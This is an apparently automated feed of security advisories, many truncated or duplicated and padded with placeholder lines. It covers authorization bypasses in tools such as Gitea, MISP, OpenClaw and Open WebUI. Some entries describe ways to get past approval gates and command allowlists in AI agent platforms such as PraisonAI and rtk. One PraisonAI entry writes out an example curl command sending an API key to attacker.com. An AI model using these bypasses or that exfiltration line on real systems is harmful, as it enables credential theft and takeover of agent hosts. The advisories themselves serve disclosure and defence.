💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
rtk filters and compresses command outputs before they reach your LLM context. Prior to 0.42.2, the permission splitter did not conservatively split or reject several shell constructs that Bash treats as command execution boundaries or nested execution. As a result, a command beginning with an allowed prefix such as git could hide a second command behind one of these constructs. rtk rewrite return
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Daytona is a secure and elastic infrastructure runtime for AI-generated code execution and agent workflows. Prior to 0.184.0, organization invitations could be accepted (and declined) by a user whose email matched the invitation but had not been verified. Daytona authenticates users via OIDC and matches an invitation's target email against the email in the caller's token, but the invitation accept
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.8.11, the ydoc:document:join Socket.IO handler checks note ownership only when the document_id starts with note: (colon). However, the YdocManager storage layer normalizes all document IDs by replacing colons with underscores (document_id.replace(":", "_")). An attacker can join a document
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Flowise before 3.1.2 contains an information disclosure vulnerability in the /api/v1/chatflows/apikey/:apikey endpoint. When the keyonly query parameter is omitted (the default), the endpoint returns not only the chatflows bound to the supplied API key but also all chatflows across every workspace that have no API key assigned, because the underlying query lacks any workspace filter. An attacker w
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Nest is a framework for building scalable Node.js server-side applications. Prior to 11.1.24, an authentication bypass vulnerability exists in @nestjs/platform-fastify. When middleware is registered through NestJS's MiddlewareConsumer.forRoutes() API on the Fastify adapter, an unauthenticated client can bypass the Nest middleware registered for that route by simply appending a trailing slash (/) t
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Mattermost versions 11.7.x <= 11.7.0, 10.11.x <= 10.11.17 fail to validate bot targets when demoting users to guests which allows a lower-privileged administrator to degrade arbitrary bot accounts via the standard demote-user API.. Mattermost Advisory ID: MMSA-2026-00669
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Mattermost versions 11.7.x <= 11.7.0, 10.11.x <= 10.11.17 fail to validate bot targets when demoting users to guests which allows a lower-privileged administrator to degrade arbitrary bot accounts via the standard demote-user API.. Mattermost Advisory ID: MMSA-2026-00669
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Mattermost versions 11.7.x <= 11.7.0, 10.11.x <= 10.11.17 fail to enforce bot-specific permission checks on the user active status endpoint, which allows a User Manager with user management write access but no Integrations access to deactivate bot accounts via the PUT /api/v4/users/{id}/active API endpoint.. Mattermost Advisory ID: MMSA-2026-00667
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Mattermost versions 11.7.x <= 11.7.0, 10.11.x <= 10.11.17 fail to enforce bot-specific permission checks on the user active status endpoint, which allows a User Manager with user management write access but no Integrations access to deactivate bot accounts via the PUT /api/v4/users/{id}/active API endpoint.. Mattermost Advisory ID: MMSA-2026-00667
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
MISP core contained multiple broken access-control flaws where authorization checks were performed against the wrong entity, or where ownership/editability checks were missing on write paths. In affected subsystems, a lower-privileged authenticated user with the relevant feature permission could cause the application to authorize one object but mutate another, or could modify objects that were mer
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Authorization handling for component configuration verification requests in Apache NiFi 1.15.0 through 2.9.0 allows clients with read access to submit proposed configuration properties. The proposed properties override current configuration, enabling users with read access to invoke predefined verification methods with alternative settings. Apache NiFi installations that do not implement different
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A security flaw has been discovered in BerriAI litellm up to 1.82.5. Affected is the function async_pre_call_hook of the file enterprise/enterprise_hooks/banned_keywords.py of the component Completions Interface. The manipulation of the argument prompt results in incorrect authorization. The attack may be performed from remote. The exploit has been released to the public and may be used for attack
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A record user could read field values hidden from them by field-level SELECT permissions by reaching the records through a graph-edge (`->`) or back-reference (`(SELECT * FROM knows)`, `person:bobknows->(SELECT * FROM person)` — returned it intact. The root cause: the shared `resolve_record_batch` helper used by `GraphEdgeScan` (`FullEdge`) and `ReferenceScan` (`FullRecord`) enforced only the tab
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Summary On a multi-tenant stigmem node, a caller holding a `write` credential for **one** tenant can run a decay sweep that acts on **every** tenant's facts. The candidate-selection queries in `lifecycle/decay.py` (`_select_ttl_candidates`, `_select_confidence_candidates`) carried no `tenant_id` predicate, and the caller's tenant was not threaded into the sweep or its async worker (`run_decay_
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Summary On a multi-tenant stigmem node, a tenant administrator could list, read, and **admit or reject** quarantined facts belonging to **other** tenants. The list/count queries and `_get_quarantined_fact` in `routes/quarantine.py` lacked an `f.tenant_id = identity.tenant_id` predicate, and the garden lookup was not tenant-scoped — reached via the `/v1/quarantine` list and admit/reject endpoin
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Impact Under concurrency, `CheckPermission` and `CheckBulkPermissions` can return `PERMISSIONSHIP_HAS_PERMISSION` for a (resource, permission, subject) whose correct answer is `PERMISSIONSHIP_CONDITIONAL_PERMISSION`. You are impacted if **all** of the following hold: 1. Your schema has a permission combining relations with an intersection or exclusion, where a subject reaches it throu
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Summary OpenBao users with access to the `sys/leases/revoke/:lease_id` endpoint in any namespace can revoke leases in any other namespace as long as the lease identifier is known to them, bypassing ACLs that should apply for cross-namespace revocations. ### Impact OpenBao's namespaces provide multi-tenant separation. A tenant who intentionally leaks lease identifiers can have their lease an
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Quarkus是一个用于构建云原生应用的Java框架。在版本3.37.0、3.36.3、3.33.2.1、3.33.3、3.27.4.1、3.27.5和3.20.6.2之前，Quarkus存在一个HTTP路径授权绕过漏洞。攻击者可以利用URL编码的分号（%3B）将矩阵参数走私到安全层之后，从而绕过基于路径的授权策略。此外，使用编码的斜杠（%2F）或反斜杠（%5C）可以访问受保护的静态资源。该漏洞与CVE-2026-39852不同，后者仅处理了字面分号的剥离。CVSS评分为7.5，攻击复杂度低，无需身份验证，可远程利用，对机密性造成高影响，但对完整性和可用性无影响。目前尚无在野利用或已知利用证据。受影响版本包括3.37.0之前、3.36.3之前、3.33.2.1之前、3.33.3之前、3.27.4.1之前、3.27.5之前和3.20.6.2之前的多个分支。建议用户尽快升级到修复版本。临时缓解措施包括限制对受影响端点的网络访问，或使用Web应用防火墙（WAF）过滤编码的特殊字符。
💡 影响/原因: 该漏洞可导致攻击者绕过Quarkus应用的HTTP路径授权策略，未经授权访问受保护的资源，造成敏感信息泄露。由于利用方式简单且无需认证，影响范围广泛。
CVE-2026-48794 是 Authelia 开源身份认证和授权服务器中的一个安全漏洞，影响版本 4.36.0 至 4.39.19。该漏洞源于在特定边缘情况下对域名的规范化处理缺失，导致访问控制规则可能被跳过。具体利用条件极为苛刻，包括：攻击目标必须使用 forwarded authorization 集成；请求的域名必须比会话域名多两个分段（例如请求 `a.b.example.com` 而会话域名为 `example.com`）；访问控制规则必须包含两个分别匹配 inexact domain 的规则（如 `*.b.example.com` 和 `*.example.com`），且顺序从最具体到最不具体；第二条规则必须比第一条更宽松；攻击者必须请求更具体域名的 URL，且第二部分包含至少一个大写字母（如 `https://a.B.example.com`），其他分段无大写；使用的集成不能是 Envoy ExtAuthz；代理在将请求发送给授权端点前不能对相关 header 中的主机名进行规范化。官方强烈建议避免使用这种可能产生 bypass 规则的配置方式。升级到 4.39.20 版本可修复该漏洞。建议用户立即升级，并检查访问控制规则配置，避免使用不精确的域名通配符规则，尤其是避免将本应完全绕过的 host 交由授权处理器检查。
💡 影响/原因: 该漏洞可能允许攻击者在特定配置下绕过访问控制规则，获得对预期受限资源的未授权访问。虽然利用条件苛刻，但一旦成功，可能导致权限提升或敏感数据泄露。
ProxySQL is a proxy for MySQL and its forks, as well as PostgreSQL. In versions 2.0.0 through 3.0.8, the ProxySQL MySQL frontend accepts the `PROXY UNKNOWN \r\n` PP1 frame as a well-formed PROXY protocol header. The HAProxy PROXY protocol v1 specification says that when the protocol token is `UNKNOWN`, the receiver MUST ignore any address fields that follow it, because the proxy has declared it
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
DevGuard provides vulnerability management for the full software supply chain. Prior to 1.4.2, on a DevGuard API instance with one or more public assets, any authenticated user — including users from a different organization with no membership or role in the affected org/project — can create, update, reapply, and delete VEX rules on those public assets. The same flaw affects the other vulnerabilit
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Statamic is a Laravel and Git powered content management system (CMS). Prior to 5.73.23 and 6.20.0, an authenticated Control Panel user could view metadata and content for resources they don't have permission to view, including entries, assets, users, roles, groups, and other configured resources. Depending on the resource, this could expose titles, custom field values, entry content, asset metada
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization vulnerability in Apache APISIX. An attacker can capitalise on authz-casdoor plugin under default configuration to authenticate themselves with credentials from a different source. This issue affects Apache APISIX: from 2.14.1 through 3.16.0. Users are recommended to upgrade to version 3.17.0, which fixes the issue.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
PraisonAI before 1.5.128 caches tool approval decisions by tool name only, not by invocation arguments, allowing subsequent execute_command calls to bypass approval prompts. Attackers can exploit this by obtaining initial approval for a benign command, then silently exfiltrate API keys and credentials via subsequent shell commands without user consent.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
PraisonAI before 4.5.128 contains an arbitrary shell command execution vulnerability where the UI modules hardcode approval_mode to auto, overriding administrator configuration from PRAISON_APPROVAL_MODE environment variable. Authenticated attackers can instruct the LLM agent to execute arbitrary shell commands via subprocess.run with shell=True, bypassing the manual approval gate and insufficient
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
PraisonAI 是一个基于 AI 的自动化平台。在 4.5.128 之前的版本中，UI 模块硬编码了 approval_mode 为 auto，覆盖了通过环境变量 PRAISON_APPROVAL_MODE 设置的管理员配置。这导致经过身份验证的攻击者可以指示 LLM 代理使用 subprocess.run 且 shell=True 执行任意 shell 命令，从而绕过手动审批门控和命令净化黑名单。该漏洞允许攻击者在服务器上以应用程序权限执行任意系统命令，可能导致数据泄露、系统破坏或横向移动。CVSS 评分为 8.8（高），攻击向量为网络，攻击复杂度低，需要低权限，无需用户交互，影响机密性、完整性和可用性。目前暂无已知在野利用。建议受影响用户立即升级至 PraisonAI 4.5.128 或更高版本，并限制对管理界面的网络访问。
💡 影响/原因: 该漏洞允许低权限攻击者绕过审批机制执行任意命令，直接导致服务器完全受控，属于严重安全风险。
PraisonAI 是一个人工智能辅助工具平台，其 1.5.128 版本之前存在一个严重的安全逻辑缺陷：工具批准决策仅根据工具名称缓存，而不检查调用参数。这意味着用户第一次批准某个工具（例如执行'ls'命令）后，后续任何与该工具同名的调用（即使参数完全不同）都会自动跳过审批提示。攻击者可以诱导用户首先批准一个无害的命令（如'ls -la'），然后利用同一工具名称执行恶意命令（如'curl http://attacker.com/api_key'），从而未经同意窃取 API 密钥和凭据。该漏洞影响使用 PraisonAI 平台的企业和个人，攻击者需要本地访问或通过钓鱼诱导用户操作。CVSS 3.1 评分为 5.5（中等），攻击向量为本地，复杂度低，无需权限，但需要用户交互，机密性影响高。目前没有已知在野利用，也未列入 CISA KEV。建议用户立即升级到 PraisonAI 1.5.128 或更高版本，并限制对工具的调用权限，在关键操作中实施二次确认机制。
💡 影响/原因: 该漏洞允许攻击者在用户批准一次后绕过所有后续审批，直接窃取 API 密钥和凭据，严重威胁机密性。虽然需要用户交互，但利用成本低，且影响广泛（所有使用缓存决策的工具）。
### Summary Internal/webchat command auth could inherit ownerAllowFrom wildcard state. In affected versions, a sender on an affected internal or webchat path could inherit wildcard ownerAllowFrom state across channel boundaries. This advisory is scoped to the named feature and configuration. It does not change OpenClaw's trusted-operator model: authenticated Gateway operators, installed plugins,
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Summary OpenClaw's exec allowlist supported optional `argPattern` entries to restrict the arguments accepted for an allowlisted executable. In affected releases, Linux and macOS gateways skipped `argPattern` checks and treated a matching executable path as sufficient to satisfy the allowlist. This meant an operator could configure an allowlist entry that appeared to permit only a narrow argv
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Summary BlueBubbles sender policy could match mutable conversation identifiers. In affected versions, a participant able to influence conversation-level identifiers could match an allowlist entry through conversation metadata rather than a stable sender identity. This advisory is scoped to the named feature and configuration. It does not change OpenClaw's trusted-operator model: authenticate
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Summary Shell positional parameters could weaken strict inline-eval checks. In affected versions, a command request that combines allowlisted tools with shell positional arguments could place inline-eval content in a shell carrier not covered by the strict check. This advisory is scoped to the named feature and configuration. It does not change OpenClaw's trusted-operator model: authenticate
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Sonatype Nexus Repository Manager before 3.93.0 contains an authorization vulnerability in the proxy repository configuration that allows a delegated repository administrator to disclose stored upstream proxy credentials.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Summary A critical missing authorization flaw exists in Avo's association attach workflow. The UI and `GET /resources/:resource/:id/:related/new` path can check `attach_?`, but the actual write endpoint, `POST /resources/:resource/:id/:related`, does not run the same authorization check before mutating the association. As a result, an authenticated low-privileged Avo user can bypass hidden/di
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Summary Capsule v0.13.2 webhook rules contain `namespace/finalize` (singular) instead of `namespaces/finalize` (plural). K8s requires plural. The finalize defense from CVE-2026-30963 fix is absent. ### Details PUT to `/api/v1/namespaces//finalize` has resource=namespaces (plural). The singular rule never matches. `matchPolicy: Equivalent` does not compensate. ### PoC Confirmed on kind + Caps
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Summary Many authenticated self routes under `/api/v1/user/...` do not enforce the `public-only` token restriction. As a result, a token or OAuth grant marked `public-only`, but otherwise carrying the route-required read/write scope category, can access or modify private account resources through self routes. The canonical private-user endpoint correctly rejects the same tokens, for example `
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Summary The API endpoint `POST /api/v1/repos/{owner}/{repo}/forks` only checks `IsOrgMember()` when a user forks a repository into an organization, but does not check `CanCreateOrgRepo()`. The web UI fork handler correctly checks both. This allows a read-only organization member — in a team with `can_create_org_repo=false` — to create repositories in the organization namespace via the API. The
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Summary A cross-tenant authorization flaw in Daytona's notification WebSocket gateway allowed any authenticated user to subscribe to another organization's realtime notification channel and passively receive that organization's events. ### Impact The notification gateway's JWT handshake joined a client-supplied organization identifier to the corresponding notification room without verifying t
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Summary The `ydoc:document:join` Socket.IO handler checks note ownership only when the `document_id` starts with `note:` (colon). However, the `YdocManager` storage layer normalizes all document IDs by replacing colons with underscores (`document_id.replace(":", "_")`). An attacker can join a document room using `note_` (underscore) instead of `note:` (colon), bypassing the authorization chec
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Summary Several direct, index-addressed Ollama proxy routes accept a caller-supplied `url_idx` path parameter and use it as a raw index into the admin-configured `OLLAMA_BASE_URLS` list. Access control on these routes validates only whether the user may use the requested *model*, never which *backend* the request is routed to. Any authenticated user can append an arbitrary `url_idx` to force t
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Summary PR #37698 added checkDownloadTokenScope to /raw/*, /media/*, and attachment download web endpoints. The /archive/* endpoint (repo.Download in routers/web/repo/repo.go:372) was not included in the fix. This endpoint accepts OAuth2 tokens via webAuth.AllowOAuth2 (registered at routers/web/web.go:1649-1652) but does not call checkDownloadTokenScope or CheckRepoScopedToken. A personal acc
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Summary Any authenticated low-privilege user with read access to a repository can push arbitrary commits directly to that repository, bypassing all write-access checks. ## Vulnerability Gitea's "Allow edits from maintainers" PR option can be abused via reverse-fork PRs: 1. The web UI PR-create endpoint binds `allow_maintainer_edit=true` **without** verifying that the submitter has write acc
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Summary Gitea fails to enforce OAuth2 access token scopes when the token is submitted via HTTP Basic authentication instead of a Bearer token. An OAuth2 application granted only `read:user` can use the same token as `Authorization: Basic base64(:x-oauth-basic)` and perform write actions, including modifying profiles, adding email addresses, creating repositories, and deleting repositories as
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Summary Gitea v1.26.1 enforces repository-scoped access-token permissions on repository operations. In the Git Smart HTTP path, however, this check runs only when the token is presented via HTTP Basic authentication — `CheckRepoScopedToken()` returns early unless `ctx.IsBasicAuth` is true — so the same token sent as `Authorization: Bearer ` bypasses the scope check entirely. As a result, a PA
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Impact A member-level user with editor access to a shared workflow could reference credentials they do not own via specific public API endpoints. Credential ownership checks were only enforced partially leading to cross-user credential access. This issue affects instances where workflow sharing is enabled and at least one workflow has been shared with a member-level user as an Editor. ## Patc
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Impact The Public API endpoint for retrying executions authorized access using `workflow:read` rather than `workflow:execute`. An authenticated user with read-only access to a shared workflow could use the Public API to retry executions of that workflow, bypassing the intended permission boundary between read and execute access. This issue affects instances where workflows are shared with othe
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw before 2026.4.25 contains a privilege escalation vulnerability in internal and webchat command authentication that allows senders to inherit wildcard ownerAllowFrom state across channel boundaries. Attackers can exploit this by sending commands on affected internal or webchat paths to execute owner-style command behavior outside intended channel scope, potentially bypassing access control
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Summary Sandbox previews that were switched from public to private could remain reachable without authentication for a short period after the change, due to a cached visibility state that was not invalidated when the sandbox's visibility changed. ### Impact When a sandbox owner changed a preview from public to private, the preview proxy could continue serving unauthenticated requests to that
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw before 2026.5.7 contains a sender policy bypass vulnerability in BlueBubbles that allows participants to match allowlist entries through conversation metadata rather than stable sender identity. Attackers can influence conversation-level identifiers to receive agent responses intended for configured senders, potentially bypassing access controls.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw before 2026.4.2 contains an inline-eval bypass vulnerability allowing authenticated operators to weaken strict allowlist checks via shell positional parameters. Attackers can combine allowlisted tools with shell positional arguments to place inline-eval content in shell carriers outside intended allowlist rules, enabling execution of unapproved shell-provided content.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw before 2026.4.25 contains a privilege escalation vulnerability in internal and webchat command authentication that allows senders to inherit wildcard ownerAllowFrom state across channel boundaries. Attackers can exploit this by sending commands on affected internal or webchat paths to execute owner-style command behavior outside intended channel scope, potentially bypassing access control
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw before 2026.5.12 contains an argument pattern validation bypass in the exec allowlist that allows attackers to execute disallowed arguments for allowlisted executables on Linux and macOS systems. Attackers can bypass configured argPattern restrictions by directly invoking allowlisted executables with unrestricted arguments, potentially enabling unauthorized file access, network access, or
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
The RTMKit plugin for WordPress is vulnerable to Incorrect Authorization in all versions up to, and including, 2.0.7 This is due to the get_submission_content AJAX endpoint lacking a capability check to verify that a user has permission to access the requested form submission data. This makes it possible for authenticated attackers, with Contributor-level access and above, to view arbitrary form s
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Impact An authentication bypass vulnerability exists in `@nestjs/platform-fastify` (confirmed on version `11.1.24`, the latest available release at time of report). When middleware is registered through NestJS's `MiddlewareConsumer.forRoutes()` API on the Fastify adapter, an unauthenticated client can bypass the Nest middleware registered for that route by simply appending a trailing slash (`
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Mastodon is a free, open-source social network server based on ActivityPub. In versions there is a missing condition in the check if remote accounts consented to be featured in a remote Collection could lead to attackers bypassing the check and faking consent. An attacker could forge the FeatureAuthorization object that is used to verify consent to be featured in a Collection and thus make it appe
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
WordPress Ultimate Product Catalog 3.8.6 contains an arbitrary file upload vulnerability that allows authenticated users with contributor, editor, author, or administrator roles to upload malicious files by exploiting the custom fields functionality. Attackers can upload PHP shells through the Products tab custom file field and access them via the upcp-product-file-uploads directory to execute arb
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
The Wertheim SafeController Software, AssemblyVersion 6.15.8328.28014, contains an incorrect authorization vulnerability in the WebSocket communication used by the SafeController WebMessageBroker. An authenticated attacker with valid low-privileged branch user credentials can manipulate WebSocket messages by specifying controller identifiers belonging to other branches. This allows the attacker to
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw before 2026.5.6 contains a configuration enforcement bypass vulnerability in Feishu dynamic-agent bindings that allows authenticated senders to create or update bindings without honoring configured config-write controls. Attackers can exploit this by leveraging the dynamic-agent binding feature to change sender-agent binding state beyond intended policy, potentially enabling unauthorized
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An authorization flaw in MISP’s object add/edit handling allowed an authenticated user with object editing permissions to assign a MISP object, or attributes contained within an object, to a sharing group that the user was not authorized to use or view. When editing objects, the sharing group validation was performed against the wrong request data structure after object fields had been merged to t
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw before 2026.5.6 contains an authorization bypass vulnerability in native command handling that allows authenticated senders to execute owner-only commands without proper policy enforcement. Attackers can trigger native command handling to bypass the configured owner-command access control, potentially executing privileged commands from unauthorized users.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw before 2026.4.27 contains an authorization bypass vulnerability in QQBot pre-dispatch slash commands that allows authenticated senders to skip allowFrom policy checks. Attackers can invoke slash commands before configured access control policies are applied, potentially triggering command handling from blocked senders depending on operator configuration.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
CVE-2026-54398 是 MISP（Malware Information Sharing Platform）中的一个授权漏洞。该漏洞存在于对象添加和编辑功能中。当用户编辑对象时，共享组验证被错误地应用于请求数据结构中的合并后顶层字段，而非原始嵌套结构，导致验证被绕过。此外，嵌入在对象中的属性未被单独检查其共享组授权。攻击者可以利用此漏洞，通过构造包含 `distribution=4` 和任意 `sharing_group_id` 的请求，将对象或对象内的属性分配给一个他们无权使用或查看的共享组。这可能导致原本不可见的共享组的存在或名称被泄露，同时对象或属性的分布元数据被不当修改。该漏洞需要攻击者已拥有对象编辑权限（即经过身份验证）。受影响的产品为 MISP，具体版本未明确。厂商暂未提供补丁信息，建议用户限制对 MISP 实例的网络访问，并关注官方更新。
💡 影响/原因: 该漏洞允许认证用户越权修改对象共享范围，可能泄露敏感共享组信息，影响数据隔离和访问控制。
OpenClaw before 2026.5.6 contains a configuration enforcement bypass vulnerability in Feishu dynamic-agent bindings that allows authenticated senders to create or update bindings without honoring configured config-write controls. Attackers can exploit this by leveraging the dynamic-agent binding feature to change sender-agent binding state beyond intended policy, potentially enabling unauthorized
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw before 2026.4.27 contains an authorization bypass vulnerability in QQBot pre-dispatch slash commands that allows authenticated senders to skip allowFrom policy checks. Attackers can invoke slash commands before configured access control policies are applied, potentially triggering command handling from blocked senders depending on operator configuration.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw before 2026.5.6 contains an authorization bypass vulnerability in native command handling that allows authenticated senders to execute owner-only commands without proper policy enforcement. Attackers can trigger native command handling to bypass the configured owner-command access control, potentially executing privileged commands from unauthorized users.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Nezha Monitoring is a self-hostable, lightweight, servers and websites monitoring and O&M tool. From version 2.0.14 to before version 2.1.0, PATCH /server/{id} accepts and persists nonexistent ddns_profiles IDs for a member-owned server. If another user later creates a DDNS profile with one of those IDs, the DDNS worker resolves the stored ID and dispatches an update using the other user's DDNS pr
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Nezha Monitoring is a self-hostable, lightweight, servers and websites monitoring and O&M tool. From version 2.0.0 to before version 2.0.14, private services (`EnableShowInService: false`) are enumerable via per-server endpoints, leaking name and timing data. This issue has been patched in version 2.0.14.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Nezha Monitoring is a self-hostable, lightweight, servers and websites monitoring and O&M tool. From version 1.4.0 to before version 2.0.8, a RoleMember can fire other users' cron tasks via AlertRule.FailTriggerTasks (no ownership check). This issue has been patched in version 2.0.8.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Nezha Monitoring is a self-hostable, lightweight, servers and websites monitoring and O&M tool. From version 1.4.0 to before version 2.0.8, nezha's dashboard supports two user roles: RoleAdmin (Role==0) and RoleMember (Role==1). The notification routes POST /api/v1/notification and PATCH /api/v1/notification/:id are wired through commonHandler rather than adminHandler — so a RoleMember user can ca
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Summary File Browser's public share handlers rebase the share owner's filesystem root to the shared directory and then evaluate descendant paths against the owner's global and per-user rules using the rebased relative path instead of the original path relative to the owner's scope. As a result, an attacker who knows a public directory share URL can access files and subdirectories that the own
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An incorrect visibility condition in the MISP event template builder allowed authenticated non-site-admin users to view galaxies that should not have been visible to their organisation. The custom access-control condition intended to restrict galaxies to those owned by the user’s organisation or distributed beyond it used a PHP comparison expression instead of a query condition. As a result, enabl
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A vulnerability in MISP’s non-REST event editing path allowed an authenticated user with event edit permissions to manipulate the submitted form data and set an event’s sharing_group_id to a sharing group they were not authorized to use. When distribution was set to sharing group distribution, the non-REST save path accepted the submitted sharing_group_id without performing the same sharing group
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An incorrect authorization vulnerability in MISP allows an organization administrator to target site administrator accounts belonging to the same organization through the administrative email functionality. The affected code restricted organization administrators to users within their own organization, but did not exclude accounts assigned a site administrator role from recipient queries. As a res
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A vulnerability in MISP’s non-REST event editing path allowed an authenticated user with event edit permissions to manipulate the submitted form data and set an event’s sharing_group_id to a sharing group they were not authorized to use. When distribution was set to sharing group distribution, the non-REST save path accepted the submitted sharing_group_id without performing the same sharing group
